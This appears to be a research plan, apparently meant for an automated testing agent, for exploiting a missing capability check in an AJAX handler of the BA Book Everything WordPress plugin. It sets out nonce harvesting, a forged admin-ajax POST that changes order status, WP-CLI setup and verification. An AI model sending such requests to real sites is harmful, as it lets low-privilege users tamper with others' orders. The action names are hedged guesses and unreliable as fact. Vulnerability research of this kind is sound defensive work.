BA Book Everything <= 1.8.16 - Missing Authorization

This research plan outlines the steps required to analyze and exploit CVE-2026-24371 (a placeholder for a missing authorization vulnerability in BA Book Everything version 1.8.16).

1. Vulnerability Summary

The BA Book Everything plugin for WordPress (<= 1.8.16) is vulnerable to unauthorized data modification due to a missing capability check in an AJAX handler, likely responsible for order or post management. While the plugin implements nonce-based CSRF protection, it fails to verify that the authenticated user possesses the required permissions (e.g., manage_options) before performing the requested action. This allows an attacker with Subscriber-level privileges to perform actions intended for administrators.

2. Attack Vector Analysis

• Target Endpoint: /wp-admin/admin-ajax.php
• Vulnerable Action: babe_update_order_status (inferred from plugin functionality) or babe_save_post_ajax.
• Authentication Required: Subscriber (Authenticated).
• Payload Parameter: order_id (the target object) and order_status (the new value).
• Preconditions: A booking order must exist in the system, and the attacker must be logged in as a Subscriber.

3. Code Flow (Inferred)

1. Registration: The plugin registers AJAX handlers in includes/class-babe-ajax.php using add_action( 'wp_ajax_babe_update_order_status', ... ).
2. Invocation: When a POST request is sent to admin-ajax.php with the corresponding action, WordPress invokes the handler function (e.g., BABE_Ajax::update_order_status).
3. Nonce Check: The handler calls check_ajax_referer( 'babe_ajax_nonce', 'nonce' ). This succeeds if the attacker provides a valid nonce.
4. Authorization Gap: The code lacks a call to current_user_can( 'manage_options' ).
5. Execution: The handler proceeds to update the database (e.g., changing a post status or metadata) using user-supplied parameters.

4. Nonce Acquisition Strategy

The plugin localizes AJAX data, including the nonce, in the global babe_ajax JavaScript object. This script is typically only loaded on pages containing booking shortcodes.

• Shortcode: [babe_search_result] or [babe_items]
• Localization Key: babe_ajax
• Nonce Key: nonce (or babe_nonce)
• Acquisition Steps:
  1. Create a public page containing the shortcode [babe_search_result].
  2. As a Subscriber, navigate to that page using the browser.
  3. Execute browser_eval("window.babe_ajax?.nonce") to retrieve the active nonce.

5. Exploitation Strategy

1. Identify Target: Find an existing order ID. If none exists, create one during setup.
2. Obtain Nonce: Use the browser_eval method described above while logged in as a Subscriber.
3. Forge Request: Use the http_request tool to send a POST request to the AJAX endpoint.
   • Method: POST
   • URL: {{base_url}}/wp-admin/admin-ajax.php
   • Headers:
     • Content-Type: application/x-www-form-urlencoded
   • Body:

     action=babe_update_order_status&order_id=[ID]&order_status=completed&nonce=[NONCE]
     

6. Test Data Setup

Before testing, the following environment state must be established:

1. Attacker User:

   wp user create attacker attacker@example.com --role=subscriber --user_pass=password
   

2. Target Order: Create a post of type to_book or a shop order to represent a booking.

   wp post create --post_type=shop_order --post_status=processing --post_title="Victim Order"
   # Note the resulting ID, e.g., 123
   

3. Nonce Page:

   wp post create --post_type=page --post_title="Exploit Page" --post_content='[babe_search_result]' --post_status=publish
   

7. Expected Results

• Server Response: A JSON object indicating success (e.g., {"success": true} or 1).
• Database Impact: The status of the target order ID changes from processing to completed (or the status specified in the payload).

8. Verification Steps

After sending the exploit request, verify the state change using WP-CLI:

wp post get [ID] --field=post_status

If the output is completed, the missing authorization vulnerability is confirmed.

9. Alternative Approaches

If babe_update_order_status is not the vulnerable hook, use the following commands to identify other potential targets in the source code:

• Search for all AJAX handlers:

  grep -rn "wp_ajax_" wp-content/plugins/ba-book-everything/
  

• Look for missing capability checks: Within the files found, look for functions that call check_ajax_referer but do not call current_user_can.
• Examine localization:

  grep -rn "wp_localize_script" wp-content/plugins/ba-book-everything/
  

  This confirms the exact JavaScript variable and key names used for the nonce.